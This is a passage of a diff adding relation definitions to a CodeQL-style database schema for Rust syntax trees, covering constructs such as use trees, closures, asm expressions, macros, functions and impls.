+use_tree_paths( + int id: @use_tree ref, + int path: @path ref +); + +#keyset[id] +use_tree_renames( + int id: @use_tree ref, + int rename: @rename ref +); + +#keyset[id] +use_tree_use_tree_lists( + int id: @use_tree ref, + int use_tree_list: @use_tree_list ref +); + +use_tree_lists( + unique int id: @use_tree_list +); + +#keyset[id, index] +use_tree_list_use_trees( + int id: @use_tree_list ref, + int index: int ref, + int use_tree: @use_tree ref +); + +@variant_def = + @struct +| @union +| @variant +; + +variant_lists( + unique int id: @variant_list +); + +#keyset[id, index] +variant_list_variants( + int id: @variant_list ref, + int index: int ref, + int variant: @variant ref +); + +visibilities( + unique int id: @visibility +); + +#keyset[id] +visibility_paths( + int id: @visibility ref, + int path: @path ref +); + +where_clauses( + unique int id: @where_clause +); + +#keyset[id, index] +where_clause_predicates( + int id: @where_clause ref, + int index: int ref, + int predicate: @where_pred ref +); + +where_preds( + unique int id: @where_pred +); + +#keyset[id] +where_pred_generic_param_lists( + int id: @where_pred ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +where_pred_lifetimes( + int id: @where_pred ref, + int lifetime: @lifetime ref +); + +#keyset[id] +where_pred_type_reprs( + int id: @where_pred ref, + int type_repr: @type_repr ref +); + +#keyset[id] +where_pred_type_bound_lists( + int id: @where_pred ref, + int type_bound_list: @type_bound_list ref +); + +array_expr_internals( + unique int id: @array_expr_internal +); + +#keyset[id, index] +array_expr_internal_attrs( + int id: @array_expr_internal ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +array_expr_internal_exprs( + int id: @array_expr_internal ref, + int index: int ref, + int expr: @expr ref +); + +#keyset[id] +array_expr_internal_is_semicolon( + int id: @array_expr_internal ref +); + +array_type_reprs( + unique int id: @array_type_repr +); + +#keyset[id] +array_type_repr_const_args( + int id: @array_type_repr ref, + int const_arg: @const_arg ref +); + +#keyset[id] +array_type_repr_element_type_reprs( + int id: @array_type_repr ref, + int element_type_repr: @type_repr ref +); + +asm_clobber_abis( + unique int id: @asm_clobber_abi +); + +asm_consts( + unique int id: @asm_const +); + +#keyset[id] +asm_const_exprs( + int id: @asm_const ref, + int expr: @expr ref +); + +#keyset[id] +asm_const_is_const( + int id: @asm_const ref +); + +asm_exprs( + unique int id: @asm_expr +); + +#keyset[id, index] +asm_expr_asm_pieces( + int id: @asm_expr ref, + int index: int ref, + int asm_piece: @asm_piece ref +); + +#keyset[id, index] +asm_expr_attrs( + int id: @asm_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +asm_expr_templates( + int id: @asm_expr ref, + int index: int ref, + int template: @expr ref +); + +asm_labels( + unique int id: @asm_label +); + +#keyset[id] +asm_label_block_exprs( + int id: @asm_label ref, + int block_expr: @block_expr ref +); + +asm_operand_nameds( + unique int id: @asm_operand_named +); + +#keyset[id] +asm_operand_named_asm_operands( + int id: @asm_operand_named ref, + int asm_operand: @asm_operand ref +); + +#keyset[id] +asm_operand_named_names( + int id: @asm_operand_named ref, + int name: @name ref +); + +asm_options_lists( + unique int id: @asm_options_list +); + +#keyset[id, index] +asm_options_list_asm_options( + int id: @asm_options_list ref, + int index: int ref, + int asm_option: @asm_option ref +); + +asm_reg_operands( + unique int id: @asm_reg_operand +); + +#keyset[id] +asm_reg_operand_asm_dir_specs( + int id: @asm_reg_operand ref, + int asm_dir_spec: @asm_dir_spec ref +); + +#keyset[id] +asm_reg_operand_asm_operand_exprs( + int id: @asm_reg_operand ref, + int asm_operand_expr: @asm_operand_expr ref +); + +#keyset[id] +asm_reg_operand_asm_reg_specs( + int id: @asm_reg_operand ref, + int asm_reg_spec: @asm_reg_spec ref +); + +asm_syms( + unique int id: @asm_sym +); + +#keyset[id] +asm_sym_paths( + int id: @asm_sym ref, + int path: @path ref +); + +assoc_type_args( + unique int id: @assoc_type_arg +); + +#keyset[id] +assoc_type_arg_const_args( + int id: @assoc_type_arg ref, + int const_arg: @const_arg ref +); + +#keyset[id] +assoc_type_arg_generic_arg_lists( + int id: @assoc_type_arg ref, + int generic_arg_list: @generic_arg_list ref +); + +#keyset[id] +assoc_type_arg_identifiers( + int id: @assoc_type_arg ref, + int identifier: @name_ref ref +); + +#keyset[id] +assoc_type_arg_param_lists( + int id: @assoc_type_arg ref, + int param_list: @param_list ref +); + +#keyset[id] +assoc_type_arg_ret_types( + int id: @assoc_type_arg ref, + int ret_type: @ret_type_repr ref +); + +#keyset[id] +assoc_type_arg_return_type_syntaxes( + int id: @assoc_type_arg ref, + int return_type_syntax: @return_type_syntax ref +); + +#keyset[id] +assoc_type_arg_type_reprs( + int id: @assoc_type_arg ref, + int type_repr: @type_repr ref +); + +#keyset[id] +assoc_type_arg_type_bound_lists( + int id: @assoc_type_arg ref, + int type_bound_list: @type_bound_list ref +); + +await_exprs( + unique int id: @await_expr +); + +#keyset[id, index] +await_expr_attrs( + int id: @await_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +await_expr_exprs( + int id: @await_expr ref, + int expr: @expr ref +); + +become_exprs( + unique int id: @become_expr +); + +#keyset[id, index] +become_expr_attrs( + int id: @become_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +become_expr_exprs( + int id: @become_expr ref, + int expr: @expr ref +); + +binary_exprs( + unique int id: @binary_expr +); + +#keyset[id, index] +binary_expr_attrs( + int id: @binary_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +binary_expr_lhs( + int id: @binary_expr ref, + int lhs: @expr ref +); + +#keyset[id] +binary_expr_operator_names( + int id: @binary_expr ref, + string operator_name: string ref +); + +#keyset[id] +binary_expr_rhs( + int id: @binary_expr ref, + int rhs: @expr ref +); + +box_pats( + unique int id: @box_pat +); + +#keyset[id] +box_pat_pats( + int id: @box_pat ref, + int pat: @pat ref +); + +break_exprs( + unique int id: @break_expr +); + +#keyset[id, index] +break_expr_attrs( + int id: @break_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +break_expr_exprs( + int id: @break_expr ref, + int expr: @expr ref +); + +#keyset[id] +break_expr_lifetimes( + int id: @break_expr ref, + int lifetime: @lifetime ref +); + +@call_expr_base = + @call_expr +| @method_call_expr +; + +#keyset[id] +call_expr_base_arg_lists( + int id: @call_expr_base ref, + int arg_list: @arg_list ref +); + +#keyset[id, index] +call_expr_base_attrs( + int id: @call_expr_base ref, + int index: int ref, + int attr: @attr ref +); + +cast_exprs( + unique int id: @cast_expr +); + +#keyset[id, index] +cast_expr_attrs( + int id: @cast_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +cast_expr_exprs( + int id: @cast_expr ref, + int expr: @expr ref +); + +#keyset[id] +cast_expr_type_reprs( + int id: @cast_expr ref, + int type_repr: @type_repr ref +); + +closure_exprs( + unique int id: @closure_expr +); + +#keyset[id] +closure_expr_bodies( + int id: @closure_expr ref, + int body: @expr ref +); + +#keyset[id] +closure_expr_closure_binders( + int id: @closure_expr ref, + int closure_binder: @closure_binder ref +); + +#keyset[id] +closure_expr_is_async( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_is_const( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_is_gen( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_is_move( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_is_static( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_ret_types( + int id: @closure_expr ref, + int ret_type: @ret_type_repr ref +); + +comments( + unique int id: @comment, + int parent: @ast_node ref, + string text: string ref +); + +const_args( + unique int id: @const_arg +); + +#keyset[id] +const_arg_exprs( + int id: @const_arg ref, + int expr: @expr ref +); + +const_block_pats( + unique int id: @const_block_pat +); + +#keyset[id] +const_block_pat_block_exprs( + int id: @const_block_pat ref, + int block_expr: @block_expr ref +); + +#keyset[id] +const_block_pat_is_const( + int id: @const_block_pat ref +); + +const_params( + unique int id: @const_param +); + +#keyset[id, index] +const_param_attrs( + int id: @const_param ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +const_param_default_vals( + int id: @const_param ref, + int default_val: @const_arg ref +); + +#keyset[id] +const_param_is_const( + int id: @const_param ref +); + +#keyset[id] +const_param_names( + int id: @const_param ref, + int name: @name ref +); + +#keyset[id] +const_param_type_reprs( + int id: @const_param ref, + int type_repr: @type_repr ref +); + +continue_exprs( + unique int id: @continue_expr +); + +#keyset[id, index] +continue_expr_attrs( + int id: @continue_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +continue_expr_lifetimes( + int id: @continue_expr ref, + int lifetime: @lifetime ref +); + +dyn_trait_type_reprs( + unique int id: @dyn_trait_type_repr +); + +#keyset[id] +dyn_trait_type_repr_type_bound_lists( + int id: @dyn_trait_type_repr ref, + int type_bound_list: @type_bound_list ref +); + +expr_stmts( + unique int id: @expr_stmt +); + +#keyset[id] +expr_stmt_exprs( + int id: @expr_stmt ref, + int expr: @expr ref +); + +field_exprs( + unique int id: @field_expr +); + +#keyset[id, index] +field_expr_attrs( + int id: @field_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +field_expr_containers( + int id: @field_expr ref, + int container: @expr ref +); + +#keyset[id] +field_expr_identifiers( + int id: @field_expr ref, + int identifier: @name_ref ref +); + +fn_ptr_type_reprs( + unique int id: @fn_ptr_type_repr +); + +#keyset[id] +fn_ptr_type_repr_abis( + int id: @fn_ptr_type_repr ref, + int abi: @abi ref +); + +#keyset[id] +fn_ptr_type_repr_is_async( + int id: @fn_ptr_type_repr ref +); + +#keyset[id] +fn_ptr_type_repr_is_const( + int id: @fn_ptr_type_repr ref +); + +#keyset[id] +fn_ptr_type_repr_is_unsafe( + int id: @fn_ptr_type_repr ref +); + +#keyset[id] +fn_ptr_type_repr_param_lists( + int id: @fn_ptr_type_repr ref, + int param_list: @param_list ref +); + +#keyset[id] +fn_ptr_type_repr_ret_types( + int id: @fn_ptr_type_repr ref, + int ret_type: @ret_type_repr ref +); + +for_type_reprs( + unique int id: @for_type_repr +); + +#keyset[id] +for_type_repr_generic_param_lists( + int id: @for_type_repr ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +for_type_repr_type_reprs( + int id: @for_type_repr ref, + int type_repr: @type_repr ref +); + +format_args_exprs( + unique int id: @format_args_expr +); + +#keyset[id, index] +format_args_expr_args( + int id: @format_args_expr ref, + int index: int ref, + int arg: @format_args_arg ref +); + +#keyset[id, index] +format_args_expr_attrs( + int id: @format_args_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +format_args_expr_templates( + int id: @format_args_expr ref, + int template: @expr ref +); + +ident_pats( + unique int id: @ident_pat +); + +#keyset[id, index] +ident_pat_attrs( + int id: @ident_pat ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +ident_pat_is_mut( + int id: @ident_pat ref +); + +#keyset[id] +ident_pat_is_ref( + int id: @ident_pat ref +); + +#keyset[id] +ident_pat_names( + int id: @ident_pat ref, + int name: @name ref +); + +#keyset[id] +ident_pat_pats( + int id: @ident_pat ref, + int pat: @pat ref +); + +if_exprs( + unique int id: @if_expr +); + +#keyset[id, index] +if_expr_attrs( + int id: @if_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +if_expr_conditions( + int id: @if_expr ref, + int condition: @expr ref +); + +#keyset[id] +if_expr_elses( + int id: @if_expr ref, + int else: @expr ref +); + +#keyset[id] +if_expr_thens( + int id: @if_expr ref, + int then: @block_expr ref +); + +impl_trait_type_reprs( + unique int id: @impl_trait_type_repr +); + +#keyset[id] +impl_trait_type_repr_type_bound_lists( + int id: @impl_trait_type_repr ref, + int type_bound_list: @type_bound_list ref +); + +index_exprs( + unique int id: @index_expr +); + +#keyset[id, index] +index_expr_attrs( + int id: @index_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +index_expr_bases( + int id: @index_expr ref, + int base: @expr ref +); + +#keyset[id] +index_expr_indices( + int id: @index_expr ref, + int index: @expr ref +); + +infer_type_reprs( + unique int id: @infer_type_repr +); + +@item = + @const +| @enum +| @extern_block +| @extern_crate +| @function +| @impl +| @macro_call +| @macro_def +| @macro_rules +| @module +| @static +| @struct +| @trait +| @trait_alias +| @type_alias +| @union +| @use +; + +#keyset[id] +item_attribute_macro_expansions( + int id: @item ref, + int attribute_macro_expansion: @macro_items ref +); + +@labelable_expr = + @block_expr +| @looping_expr +; + +#keyset[id] +labelable_expr_labels( + int id: @labelable_expr ref, + int label: @label ref +); + +let_exprs( + unique int id: @let_expr +); + +#keyset[id, index] +let_expr_attrs( + int id: @let_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +let_expr_scrutinees( + int id: @let_expr ref, + int scrutinee: @expr ref +); + +#keyset[id] +let_expr_pats( + int id: @let_expr ref, + int pat: @pat ref +); + +let_stmts( + unique int id: @let_stmt +); + +#keyset[id, index] +let_stmt_attrs( + int id: @let_stmt ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +let_stmt_initializers( + int id: @let_stmt ref, + int initializer: @expr ref +); + +#keyset[id] +let_stmt_let_elses( + int id: @let_stmt ref, + int let_else: @let_else ref +); + +#keyset[id] +let_stmt_pats( + int id: @let_stmt ref, + int pat: @pat ref +); + +#keyset[id] +let_stmt_type_reprs( + int id: @let_stmt ref, + int type_repr: @type_repr ref +); + +lifetimes( + unique int id: @lifetime +); + +#keyset[id] +lifetime_texts( + int id: @lifetime ref, + string text: string ref +); + +lifetime_args( + unique int id: @lifetime_arg +); + +#keyset[id] +lifetime_arg_lifetimes( + int id: @lifetime_arg ref, + int lifetime: @lifetime ref +); + +lifetime_params( + unique int id: @lifetime_param +); + +#keyset[id, index] +lifetime_param_attrs( + int id: @lifetime_param ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +lifetime_param_lifetimes( + int id: @lifetime_param ref, + int lifetime: @lifetime ref +); + +#keyset[id] +lifetime_param_type_bound_lists( + int id: @lifetime_param ref, + int type_bound_list: @type_bound_list ref +); + +literal_exprs( + unique int id: @literal_expr +); + +#keyset[id, index] +literal_expr_attrs( + int id: @literal_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +literal_expr_text_values( + int id: @literal_expr ref, + string text_value: string ref +); + +literal_pats( + unique int id: @literal_pat +); + +#keyset[id] +literal_pat_literals( + int id: @literal_pat ref, + int literal: @literal_expr ref +); + +macro_block_exprs( + unique int id: @macro_block_expr +); + +#keyset[id] +macro_block_expr_tail_exprs( + int id: @macro_block_expr ref, + int tail_expr: @expr ref +); + +#keyset[id, index] +macro_block_expr_statements( + int id: @macro_block_expr ref, + int index: int ref, + int statement: @stmt ref +); + +macro_exprs( + unique int id: @macro_expr +); + +#keyset[id] +macro_expr_macro_calls( + int id: @macro_expr ref, + int macro_call: @macro_call ref +); + +macro_pats( + unique int id: @macro_pat +); + +#keyset[id] +macro_pat_macro_calls( + int id: @macro_pat ref, + int macro_call: @macro_call ref +); + +macro_type_reprs( + unique int id: @macro_type_repr +); + +#keyset[id] +macro_type_repr_macro_calls( + int id: @macro_type_repr ref, + int macro_call: @macro_call ref +); + +match_exprs( + unique int id: @match_expr +); + +#keyset[id, index] +match_expr_attrs( + int id: @match_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +match_expr_scrutinees( + int id: @match_expr ref, + int scrutinee: @expr ref +); + +#keyset[id] +match_expr_match_arm_lists( + int id: @match_expr ref, + int match_arm_list: @match_arm_list ref +); + +name_refs( + unique int id: @name_ref +); + +#keyset[id] +name_ref_texts( + int id: @name_ref ref, + string text: string ref +); + +never_type_reprs( + unique int id: @never_type_repr +); + +offset_of_exprs( + unique int id: @offset_of_expr +); + +#keyset[id, index] +offset_of_expr_attrs( + int id: @offset_of_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +offset_of_expr_fields( + int id: @offset_of_expr ref, + int index: int ref, + int field: @name_ref ref +); + +#keyset[id] +offset_of_expr_type_reprs( + int id: @offset_of_expr ref, + int type_repr: @type_repr ref +); + +or_pats( + unique int id: @or_pat +); + +#keyset[id, index] +or_pat_pats( + int id: @or_pat ref, + int index: int ref, + int pat: @pat ref +); + +params( + unique int id: @param +); + +#keyset[id] +param_pats( + int id: @param ref, + int pat: @pat ref +); + +paren_exprs( + unique int id: @paren_expr +); + +#keyset[id, index] +paren_expr_attrs( + int id: @paren_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +paren_expr_exprs( + int id: @paren_expr ref, + int expr: @expr ref +); + +paren_pats( + unique int id: @paren_pat +); + +#keyset[id] +paren_pat_pats( + int id: @paren_pat ref, + int pat: @pat ref +); + +paren_type_reprs( + unique int id: @paren_type_repr +); + +#keyset[id] +paren_type_repr_type_reprs( + int id: @paren_type_repr ref, + int type_repr: @type_repr ref +); + +@path_ast_node = + @path_expr +| @path_pat +| @struct_expr +| @struct_pat +| @tuple_struct_pat +; + +#keyset[id] +path_ast_node_paths( + int id: @path_ast_node ref, + int path: @path ref +); + +@path_expr_base = + @path_expr +; + +path_type_reprs( + unique int id: @path_type_repr +); + +#keyset[id] +path_type_repr_paths( + int id: @path_type_repr ref, + int path: @path ref +); + +prefix_exprs( + unique int id: @prefix_expr +); + +#keyset[id, index] +prefix_expr_attrs( + int id: @prefix_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +prefix_expr_exprs( + int id: @prefix_expr ref, + int expr: @expr ref +); + +#keyset[id] +prefix_expr_operator_names( + int id: @prefix_expr ref, + string operator_name: string ref +); + +ptr_type_reprs( + unique int id: @ptr_type_repr +); + +#keyset[id] +ptr_type_repr_is_const( + int id: @ptr_type_repr ref +); + +#keyset[id] +ptr_type_repr_is_mut( + int id: @ptr_type_repr ref +); + +#keyset[id] +ptr_type_repr_type_reprs( + int id: @ptr_type_repr ref, + int type_repr: @type_repr ref +); + +range_exprs( + unique int id: @range_expr +); + +#keyset[id, index] +range_expr_attrs( + int id: @range_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +range_expr_ends( + int id: @range_expr ref, + int end: @expr ref +); + +#keyset[id] +range_expr_operator_names( + int id: @range_expr ref, + string operator_name: string ref +); + +#keyset[id] +range_expr_starts( + int id: @range_expr ref, + int start: @expr ref +); + +range_pats( + unique int id: @range_pat +); + +#keyset[id] +range_pat_ends( + int id: @range_pat ref, + int end: @pat ref +); + +#keyset[id] +range_pat_operator_names( + int id: @range_pat ref, + string operator_name: string ref +); + +#keyset[id] +range_pat_starts( + int id: @range_pat ref, + int start: @pat ref +); + +ref_exprs( + unique int id: @ref_expr +); + +#keyset[id, index] +ref_expr_attrs( + int id: @ref_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +ref_expr_exprs( + int id: @ref_expr ref, + int expr: @expr ref +); + +#keyset[id] +ref_expr_is_const( + int id: @ref_expr ref +); + +#keyset[id] +ref_expr_is_mut( + int id: @ref_expr ref +); + +#keyset[id] +ref_expr_is_raw( + int id: @ref_expr ref +); + +ref_pats( + unique int id: @ref_pat +); + +#keyset[id] +ref_pat_is_mut( + int id: @ref_pat ref +); + +#keyset[id] +ref_pat_pats( + int id: @ref_pat ref, + int pat: @pat ref +); + +ref_type_reprs( + unique int id: @ref_type_repr +); + +#keyset[id] +ref_type_repr_is_mut( + int id: @ref_type_repr ref +); + +#keyset[id] +ref_type_repr_lifetimes( + int id: @ref_type_repr ref, + int lifetime: @lifetime ref +); + +#keyset[id] +ref_type_repr_type_reprs( + int id: @ref_type_repr ref, + int type_repr: @type_repr ref +); + +rest_pats( + unique int id: @rest_pat +); + +#keyset[id, index] +rest_pat_attrs( + int id: @rest_pat ref, + int index: int ref, + int attr: @attr ref +); + +return_exprs( + unique int id: @return_expr +); + +#keyset[id, index] +return_expr_attrs( + int id: @return_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +return_expr_exprs( + int id: @return_expr ref, + int expr: @expr ref +); + +self_params( + unique int id: @self_param +); + +#keyset[id] +self_param_is_ref( + int id: @self_param ref +); + +#keyset[id] +self_param_is_mut( + int id: @self_param ref +); + +#keyset[id] +self_param_lifetimes( + int id: @self_param ref, + int lifetime: @lifetime ref +); + +#keyset[id] +self_param_names( + int id: @self_param ref, + int name: @name ref +); + +slice_pats( + unique int id: @slice_pat +); + +#keyset[id, index] +slice_pat_pats( + int id: @slice_pat ref, + int index: int ref, + int pat: @pat ref +); + +slice_type_reprs( + unique int id: @slice_type_repr +); + +#keyset[id] +slice_type_repr_type_reprs( + int id: @slice_type_repr ref, + int type_repr: @type_repr ref +); + +struct_field_lists( + unique int id: @struct_field_list +); + +#keyset[id, index] +struct_field_list_fields( + int id: @struct_field_list ref, + int index: int ref, + int field: @struct_field ref +); + +try_exprs( + unique int id: @try_expr +); + +#keyset[id, index] +try_expr_attrs( + int id: @try_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +try_expr_exprs( + int id: @try_expr ref, + int expr: @expr ref +); + +tuple_exprs( + unique int id: @tuple_expr +); + +#keyset[id, index] +tuple_expr_attrs( + int id: @tuple_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +tuple_expr_fields( + int id: @tuple_expr ref, + int index: int ref, + int field: @expr ref +); + +tuple_field_lists( + unique int id: @tuple_field_list +); + +#keyset[id, index] +tuple_field_list_fields( + int id: @tuple_field_list ref, + int index: int ref, + int field: @tuple_field ref +); + +tuple_pats( + unique int id: @tuple_pat +); + +#keyset[id, index] +tuple_pat_fields( + int id: @tuple_pat ref, + int index: int ref, + int field: @pat ref +); + +tuple_type_reprs( + unique int id: @tuple_type_repr +); + +#keyset[id, index] +tuple_type_repr_fields( + int id: @tuple_type_repr ref, + int index: int ref, + int field: @type_repr ref +); + +type_args( + unique int id: @type_arg +); + +#keyset[id] +type_arg_type_reprs( + int id: @type_arg ref, + int type_repr: @type_repr ref +); + +type_params( + unique int id: @type_param +); + +#keyset[id, index] +type_param_attrs( + int id: @type_param ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +type_param_default_types( + int id: @type_param ref, + int default_type: @type_repr ref +); + +#keyset[id] +type_param_names( + int id: @type_param ref, + int name: @name ref +); + +#keyset[id] +type_param_type_bound_lists( + int id: @type_param ref, + int type_bound_list: @type_bound_list ref +); + +underscore_exprs( + unique int id: @underscore_expr +); + +#keyset[id, index] +underscore_expr_attrs( + int id: @underscore_expr ref, + int index: int ref, + int attr: @attr ref +); + +variants( + unique int id: @variant +); + +#keyset[id, index] +variant_attrs( + int id: @variant ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +variant_discriminants( + int id: @variant ref, + int discriminant: @expr ref +); + +#keyset[id] +variant_field_lists( + int id: @variant ref, + int field_list: @field_list ref +); + +#keyset[id] +variant_names( + int id: @variant ref, + int name: @name ref +); + +#keyset[id] +variant_visibilities( + int id: @variant ref, + int visibility: @visibility ref +); + +wildcard_pats( + unique int id: @wildcard_pat +); + +yeet_exprs( + unique int id: @yeet_expr +); + +#keyset[id, index] +yeet_expr_attrs( + int id: @yeet_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +yeet_expr_exprs( + int id: @yeet_expr ref, + int expr: @expr ref +); + +yield_exprs( + unique int id: @yield_expr +); + +#keyset[id, index] +yield_expr_attrs( + int id: @yield_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +yield_expr_exprs( + int id: @yield_expr ref, + int expr: @expr ref +); + +block_exprs( + unique int id: @block_expr +); + +#keyset[id, index] +block_expr_attrs( + int id: @block_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +block_expr_is_async( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_const( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_gen( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_move( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_try( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_unsafe( + int id: @block_expr ref +); + +#keyset[id] +block_expr_stmt_lists( + int id: @block_expr ref, + int stmt_list: @stmt_list ref +); + +call_exprs( + unique int id: @call_expr +); + +#keyset[id] +call_expr_functions( + int id: @call_expr ref, + int function: @expr ref +); + +consts( + unique int id: @const +); + +#keyset[id, index] +const_attrs( + int id: @const ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +const_bodies( + int id: @const ref, + int body: @expr ref +); + +#keyset[id] +const_is_const( + int id: @const ref +); + +#keyset[id] +const_is_default( + int id: @const ref +); + +#keyset[id] +const_names( + int id: @const ref, + int name: @name ref +); + +#keyset[id] +const_type_reprs( + int id: @const ref, + int type_repr: @type_repr ref +); + +#keyset[id] +const_visibilities( + int id: @const ref, + int visibility: @visibility ref +); + +enums( + unique int id: @enum +); + +#keyset[id, index] +enum_attrs( + int id: @enum ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +enum_generic_param_lists( + int id: @enum ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +enum_names( + int id: @enum ref, + int name: @name ref +); + +#keyset[id] +enum_variant_lists( + int id: @enum ref, + int variant_list: @variant_list ref +); + +#keyset[id] +enum_visibilities( + int id: @enum ref, + int visibility: @visibility ref +); + +#keyset[id] +enum_where_clauses( + int id: @enum ref, + int where_clause: @where_clause ref +); + +extern_blocks( + unique int id: @extern_block +); + +#keyset[id] +extern_block_abis( + int id: @extern_block ref, + int abi: @abi ref +); + +#keyset[id, index] +extern_block_attrs( + int id: @extern_block ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +extern_block_extern_item_lists( + int id: @extern_block ref, + int extern_item_list: @extern_item_list ref +); + +#keyset[id] +extern_block_is_unsafe( + int id: @extern_block ref +); + +extern_crates( + unique int id: @extern_crate +); + +#keyset[id, index] +extern_crate_attrs( + int id: @extern_crate ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +extern_crate_identifiers( + int id: @extern_crate ref, + int identifier: @name_ref ref +); + +#keyset[id] +extern_crate_renames( + int id: @extern_crate ref, + int rename: @rename ref +); + +#keyset[id] +extern_crate_visibilities( + int id: @extern_crate ref, + int visibility: @visibility ref +); + +functions( + unique int id: @function +); + +#keyset[id] +function_abis( + int id: @function ref, + int abi: @abi ref +); + +#keyset[id] +function_bodies( + int id: @function ref, + int body: @block_expr ref +); + +#keyset[id] +function_generic_param_lists( + int id: @function ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +function_is_async( + int id: @function ref +); + +#keyset[id] +function_is_const( + int id: @function ref +); + +#keyset[id] +function_is_default( + int id: @function ref +); + +#keyset[id] +function_is_gen( + int id: @function ref +); + +#keyset[id] +function_is_unsafe( + int id: @function ref +); + +#keyset[id] +function_names( + int id: @function ref, + int name: @name ref +); + +#keyset[id] +function_ret_types( + int id: @function ref, + int ret_type: @ret_type_repr ref +); + +#keyset[id] +function_visibilities( + int id: @function ref, + int visibility: @visibility ref +); + +#keyset[id] +function_where_clauses( + int id: @function ref, + int where_clause: @where_clause ref +); + +impls( + unique int id: @impl +); + +#keyset[id] +impl_assoc_item_lists( + int id: @impl ref, + int assoc_item_list: @assoc_item_list ref +); + +#keyset[id, index] +impl_attrs( + int id: @impl ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +impl_generic_param_lists( + int id: @impl ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +impl_is_const( + int id: @impl ref +); + +#keyset[id] +impl_is_default( + int id: @impl ref +); + +#keyset[id] +impl_is_unsafe( + int id: @impl ref +); + +#keyset[id] +impl_self_ties( + int id: @impl ref, + int self_ty: @type_repr ref +); + +#keyset[id] +impl_traits( + int id: @impl ref, + int trait: @type_repr ref +); + +#keyset[id] +impl_visibilities( + int id: @impl ref, + int visibility: @visibility ref +); + +#keyset[id] +impl_where_clauses( + int id: @impl ref, + int where_clause: @where_clause ref +); + +@looping_expr = + @for_expr +| @loop_expr +| @while_expr +; + +#keyset[id] +looping_expr_loop_bodies( + int id: @looping_expr ref, + int loop_body: @block_expr ref +); + +macro_calls( + unique int id: @macro_call +); + +#keyset[id, index] +macro_call_attrs( + int id: @macro_call ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +macro_call_paths( + int id: @macro_call ref, + int path: @path ref +); + +#keyset[id] +macro_call_token_trees( + int id: @macro_call ref, + int token_tree: @token_tree ref +); + +#keyset[id] +macro_call_macro_call_expansions( + int id: @macro_call ref, + int macro_call_expansion: @ast_node ref +); + +macro_defs( + unique int id: @macro_def +); + +#keyset[id] +macro_def_args( + int id: @macro_def ref, + int args: @token_tree ref +); + +#keyset[id, index] +macro_def_attrs( + int id: @macro_def ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +macro_def_bodies( + int id: @macro_def ref, + int body: @token_tree ref +); + +#keyset[id] +macro_def_names( + int id: @macro_def ref, + int name: @name ref +); + +#keyset[id] +macro_def_visibilities( + int id: @macro_def ref, + int visibility: @visibility ref +); + +macro_rules( + unique int id: @macro_rules +); + +#keyset[id, index] +macro_rules_attrs( + int id: @macro_rules ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +macro_rules_names( + int id: @macro_rules ref, + int name: @name ref +); + +#keyset[id] +macro_rules_token_trees( + int id: @macro_rules ref, + int token_tree: @token_tree ref +); + +#keyset[id] +macro_rules_visibilities( + int id: @macro_rules ref, + int visibility: @visibility ref +); + +method_call_exprs( + unique int id: @method_call_expr +); + +#keyset[id] +method_call_expr_generic_arg_lists( + int id: @method_call_expr ref, + int generic_arg_list: @generic_arg_list ref +); + +#keyset[id] +method_call_expr_identifiers( + int id: @method_call_expr ref, + int identifier: @name_ref ref +); + +#keyset[id] +method_call_expr_receivers( + int id: @method_call_expr ref, + int receiver: @expr ref +); + +modules( + unique int id: @module +); + +#keyset[id, index] +module_attrs( + int id: @module ref, + int index: int ref, 